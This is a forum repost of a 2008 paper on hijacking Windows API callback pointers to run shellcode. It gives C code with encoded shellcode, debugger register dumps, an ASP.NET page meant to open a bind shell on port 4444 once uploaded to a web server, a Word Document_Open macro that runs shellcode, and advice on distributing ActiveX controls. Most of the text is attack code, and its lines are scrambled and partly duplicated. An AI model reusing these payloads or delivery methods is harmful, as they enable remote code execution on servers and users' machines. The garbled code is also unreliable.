|

楼主 |
发表于 2008-4-3 21:31
|
显示全部楼层
<P>MS API function pointers hijacking <BR> <BR>Written by gott<BR> <BR> <BR>security flaw. <BR> <BR> <BR>Put me in coach, I'm ready to play <BR> <BR>In this paper I'll demonstrate how to use some API functions pointers to execute <BR>arbitrary code on a user's pc. This is not a bug, but I consider it as a simply <BR>I'll use, in this sample, "SHCreateThread" function from shlwapi.dll for writing <BR> <BR>a page in ASP.NET, upload it to a web server and obtain so a bind shell. <BR>Naturally, you can use it as you want because every programming language that <BR>uses direct calls to API functions could be used to do something like that. <BR>Syntax: <BR>First of all some technical details: shlwapi.dll is a library which contains <BR>BOOL SHCreateThread( <BR>functions for UNC and URL paths, registry entries, and colour settings. Between <BR>functions you'll find "SHCreateThread", this is a report of this function from <BR><a href="http://msdn2.microsoft.com/En-US/library/bb759869.aspx" target="_blank" >http://msdn2.microsoft.com/En-US/library/bb759869.aspx</A>: <BR>-------------------------------------------------------------------------------- <BR> LPTHREAD_START_ROUTINE pfnThreadProc, <BR> VOID *pData, <BR> DWORD dwFlags, <BR> LPTHREAD_START_ROUTINE pfnCallback <BR>[in] A pointer to an application-defined function of the <BR>LPTHREAD_START_ROUTINE type. If a new thread was successfully created, <BR>this application-defined function is called in the context of that thread. <BR>SHCreateThread does not wait for the function pointed to by this parameter <BR>to complete before returning to its caller. The application-defined <BR>); <BR>function's return value is the exit code of the thread. <BR> <BR>pData <BR>Parameters <BR>[in] A pointer to an application-defined data structure that contains <BR>pfnThreadProc <BR>initialization data. It is passed to the function pointed to by <BR>pfnThreadProc and, optionally, pfnCallback. <BR>dwFlags <BR>[in] The flags that control the behavior of the function. One or more of <BR>the CTF constants. <BR>pfnCallback <BR>[in] A pointer to an optional application-defined function of the <BR>LPTHREAD_START_ROUTINE type. This function is called in the context of the <BR>created thread before the function pointed to by pfnThreadProc is called. <BR>It will also receive pData as its argument. SHCreateThread will wait for <BR>the function pointed to by pfnCallback to return before returning to its <BR>caller. The return value of the function pointed to by pfnCallback is <BR>Returns TRUE if the thread is successfully created or FALSE otherwise. <BR>ignored. <BR> <BR>Return Value <BR>Remarks <BR> <BR> <BR>#include "stdafx.h" <BR>#include "windows.h" <BR>#include "stdio.h" <BR> <BR>typedef INT (WINAPI *ProcAdd) (); <BR> <BR>//execute calc.exe <BR>char shellcode[]= <BR>As you can see, I pass to function the optional pfnCallback, putting in it my <BR>shellcode and what happened? The shellcode will be executed due to the fact that <BR>we pass to the pointer a valid sequence of commands. <BR>You can obtain same results using user32.dll, look at this: <BR>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x03\x59\xeb" <BR>"\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56" <BR>"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42" <BR>"\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44" <BR>"\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a" <BR>"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x42\x50\x42\x30" <BR>"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x45\x30\x4a\x47" <BR>"\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38\x4f\x55\x42\x52" <BR>"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x41\x50\x50\x4e" <BR>"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c\x46\x47\x47\x50" <BR>"\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e\x46\x4f\x4b\x43" <BR>"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x4f\x45\x46\x42" <BR>"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x4b\x48\x4f\x35" <BR>"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x50\x4b\x4e" <BR>"\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46" <BR>"\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x38" <BR>"\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x4a\x36" <BR>"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b\x42\x30\x42\x50" <BR>"\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33\x48\x4f\x42\x46" <BR>"\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37\x42\x55\x4a\x36" <BR>"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x50\x4f\x4c\x38" <BR>"\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56\x4e\x46\x43\x56" <BR>"\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a\x90\x90\x90\x90\x90" <BR> P_Address = (ProcAdd) GetProcAddress (hMod, "CallWindowProcA"); <BR> typedef int (__stdcall * pICFUNC)(long, char *, long, long, long); <BR> int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0); <BR> //Win XP Pro.: 2088992947 == 0x7C8380B3 call [EBP+C] from kernel32.dll <BR> //Server 2003: 2011459891 == 0x77E47133 call [EBP+C] from kernel32.dll <BR>"\x90\x90\x90\x90\x90\x90\x90"; <BR>} <BR> <BR>Very similar code, the difference is just in this line: <BR>int main (void) <BR>int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0); <BR>{ <BR> HMODULE hMod; <BR> ProcAdd P_Address; <BR> <BR> hMod = LoadLibrary ("USER32.DLL"); <BR> <BR> if (hMod != NULL) <BR> { <BR> <BR> <BR> pICFUNC MyFunction; <BR> MyFunction = pICFUNC(P_Address); <BR> <BR> } <BR> else <BR> printf ("There was something wrong...\n"); <BR> return 0; <BR> <BR> <BR> <BR>#include "stdafx.h" <BR>#include "windows.h" <BR>#include "stdio.h" <BR> <BR>typedef INT (WINAPI *ProcAdd) (); <BR> <BR>//execute calc.exe <BR>char shellcode[]= <BR>"\x90\x90\x90\x90\x90\x90\x90"; <BR> <BR>int main (void) <BR>{ <BR> HMODULE hMod; <BR> ProcAdd P_Address; <BR> <BR> hMod = LoadLibrary ("USER32.DLL"); <BR> <BR> if (hMod != NULL) <BR> { <BR> <BR> <BR> pICFUNC MyFunction; <BR> MyFunction = pICFUNC(P_Address); <BR> <BR> } <BR> else <BR> printf ("There was something wrong...\n"); <BR> return 0; <BR> <BR> <BR> <BR>As you can see, I pass to function the optional pfnCallback, putting in it my <BR>shellcode and what happened? The shellcode will be executed due to the fact that <BR>we pass to the pointer a valid sequence of commands. <BR>You can obtain same results using user32.dll, look at this: <BR>"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x03\x59\xeb" <BR>"\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56" <BR>"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42" <BR>"\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44" <BR>"\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a" <BR>"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x42\x50\x42\x30" <BR>"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x45\x30\x4a\x47" <BR>"\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38\x4f\x55\x42\x52" <BR>"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x41\x50\x50\x4e" <BR>"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c\x46\x47\x47\x50" <BR>"\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e\x46\x4f\x4b\x43" <BR>"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x4f\x45\x46\x42" <BR>"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x4b\x48\x4f\x35" <BR>"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x50\x4b\x4e" <BR>"\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46" <BR>"\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x38" <BR>"\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x4a\x36" <BR>"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b\x42\x30\x42\x50" <BR>"\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33\x48\x4f\x42\x46" <BR>"\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37\x42\x55\x4a\x36" <BR>"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x50\x4f\x4c\x38" <BR>"\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56\x4e\x46\x43\x56" <BR>"\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a\x90\x90\x90\x90\x90" <BR> P_Address = (ProcAdd) GetProcAddress (hMod, "CallWindowProcA"); <BR> typedef int (__stdcall * pICFUNC)(long, char *, long, long, long); <BR> int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0); <BR> //Win XP Pro.: 2088992947 == 0x7C8380B3 call [EBP+C] from kernel32.dll <BR> //Server 2003: 2011459891 == 0x77E47133 call [EBP+C] from kernel32.dll <BR>} <BR>Very similar code, the difference is just in this line: <BR>int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0); </P>
<P> <BR>EAX 7FFDE000 <BR>ECX 40000000 <BR>EDX 7C91EB94 ntdll.KiFastSystemCallRet <BR>EBX 00000000 <BR>ESP 0012FE28 <BR>EBP 0012FE50 <BR>ESI 41414141 <BR>EDI 0012FE8C <BR> <BR>and stack: <BR> <BR>EBP ==> >|0012FEB8 <BR>EBP+8 >|41414141 <BR> <BR>execute the code. <BR>If you change the pointer value from 2088992947 (decimal value of 0x7C8380B3 <BR>call [EBP+C] from kernel32.dll) to 1094795585 (decimal value of 41414141) and <BR> <BR>then run your code, you'll see registers content as: <BR>Partial Class _Default <BR>EIP 41414141 <BR> <BR>EBP+4 >|7E398816 RETURN to USER32_1.7E398816 from USER32_1.7E39870C <BR> Inherits System.Web.UI.Page <BR>EBP+C >|00420040 ASCII "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" <BR>I suppose it's simple to understand that passing to EIP a call [EBP+C] will <BR>Funny thing is that these pointers are always unchecked, so you can use every <BR>language that did direct call to a dll. See this one: <BR> <Runtime.InteropServices.DllImport("shlwapi.dll")> Shared Function <BR>String, ByVal pfnCallback As Long) As Long <BR>SHCreateThread(ByVal pfnThreadProc As Long, ByVal pData As String, ByVal dwFlags As <BR> <BR> Protected Sub Page_PreLoad(ByVal sender As Object, ByVal e As System.EventArgs) <BR> End Function <BR> Dim i As Integer, nop As String, shellcode As String <BR> shellcode = nop & "<00EB><0001>Y<00EB><0001>¤¤<00F8><00FF><00FF><00FF>I7IIIIIIIIIIIIIIIIQZjBXP0B1ABkBAR2BB" & _ <BR> "2AA0AAXBP8BBu9yKLaz8kPMhhiiKOKOYoSPNk2LDd5tnk0" & _ <BR>Handles Me.PreLoad <BR> "EWLNkAldEQhFaJOlK0OFxlKqOGP31ZKaYnkP4NkFaxnP1i" & _ <BR> "PNyNLK4kpRTc78AjjDMc1krhkIdwK0TA4ExRUiunksoutV" & _ <BR> "azK3VNk6lrkLKSo5Lwq8kGsDlnkK92L5twle1iSVQIKe4N" & _ <BR> For i = 1 To 12 <BR> "kg34pLKw0tLnkd0GlLmnkAPc8SnphNnbnVn8lRpkOzvrFa" & _ <BR> nop = nop & Chr(144) <BR> "CCVRHwCdrQxqgPsp2qO1DKOJpu8xKhmIlukF0KOyFSooy8" & _ <BR> Next i <BR> "esVLAXmdHeRru2Js2IoJp3XxYc99eLmrwkOn6PSRsQCpS3" & _ <BR> <BR> "cqSccaS3cKOZpsVQx7aALPfSclIZAZ5QxMtgj0pKwf7yoK" & _ <BR> 'bind shell on port 4444 <BR> "fAz20rq3eYo8PphoTnMdn8i2wKON6QCAE9oJpqxJEqYmVC" & _ <BR> "yv7KO9FRprtF41EKOhPNsCXkWqio6SIv7kO8VqEkOHP56p" & _ <BR> "j1tE61xbC2MoyzEqz0P3iFIjlk9jGsZQToym201YP8sMzY" & _ <BR> "nCr6MinsrTlocLMrZtxLklknK58PrkNLsdVKOCE2dyozv3" & _ <BR> "k2wbrca3a0Q0jS1qAF1Ru2qkON0phNMzyFeJnrsioXVrJi" & _ <BR> "oiofW9oXPLKAGkLlCO42DKOhVv2KON0qx3NjxIrCCaCKOH" & _ <BR> SHCreateThread(1094795585, "none", shellcode, 1128481603) <BR>End Class <BR>It's a code that you can save into an aspx.vb page that you can easily call from <BR><%@ Page Language="VB" AutoEventWireup="false" CodeFile="mypage.aspx.vb" <BR>Inherits="_Default" %> <BR> "ViojpB" & nop <BR> End Sub <BR> <BR>an aspx page in this way: </P>
<P>ASP.NET:2.0.50727.1378 (don't worry, it's mine). <BR> <BR>lParam As Any) As Long <BR> <BR>Private Sub Document_Open() <BR> On Error GoTo hell <BR> For i = 1 To 12 <BR> nop = nop & Chr(144) <BR> Next i <BR> <BR>Of course you need a web server that allows you to upload these page but, once <BR>you'll find it, be sure you'll obtain a bind shell with ASPNET user rights. <BR>I try it on IIS 6, Microsoft .NET Framework:2.0.50727.1378; Version of <BR>Naturally, another vector is VBA macros. Most user set protection against macro <BR>execution on medium, so you'll easily write a code like this: <BR>Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal <BR>lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal <BR> shellcode = nop & "<00EB><0001>Y<00EB><0001>¤¤<00F8><00FF><00FF><00FF>OIIIIIIQZVTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0" & _ <BR> "ADTBDQB0ADAVX4Z8BDJOMNOJNF4BPB0BPK8EDNCK8NGE0JGA0ONKH" & _ <BR> "OTJAK8OUBRA0KNITKHF3KHAPPNACBLIYNJFHBLFGGPALLLMPAPDLK" & _ <BR> <BR> "NFOKCF5FRF0E7ENKXOEFBAPKNHFKHN0KDKHO5NAA0KNK8NQK8APKN" & _ <BR> TextBox1.Text = shellcode <BR> "I8NEF2FPCLA3BLFFKHB4B3E8BLJGN0K8B4NPKXBGNAMJKXJ6J0KNI" & _ <BR> <BR> "PKHBHBKB0BPB0K8JVNCOUA3HOBFH5I8JOCXBLK7BUJ6BOLXFPO5J6" & _ <BR> "JYPOL8PPGUOOGNCVAVNFCVP2EFJ7E6BPZ" & nop <BR> CallWindowProc 2089148898, 1, TextBox1.Text, ByVal 0&, ByVal 0& <BR> '2089148898 = 0x7C85E1E2 CALL [EBP+1C] from kernel32.dll <BR> MsgBox "There was something wrong..." & vbCrLf & _ <BR> Exit Sub <BR> "Error number: " & Err.Number & vbCrLf & _ <BR>hell: <BR>End Sub <BR>IPStorage Safe: Safe for untrusted: caller, data <BR>and having fun distributing it (I know, I know, to use an ActiveX from remote <BR>location you need a digital signature but once you run it local...) <BR>That's all folks, hope you'll enjoy this little paper to do research and <BR> "Error description: " & Err.Description <BR> <BR>Or you can write your own ActiveX and mark it as: <BR> <BR>RegKey Safe for Script: False <BR>RegKey Safe for Init: False <BR>Implements IObjectSafety: True <BR>IDisp Safe: Safe for untrusted: caller, data <BR> <BR>auditing API functions as well. <BR> <BR>Bye.<BR></P> |
|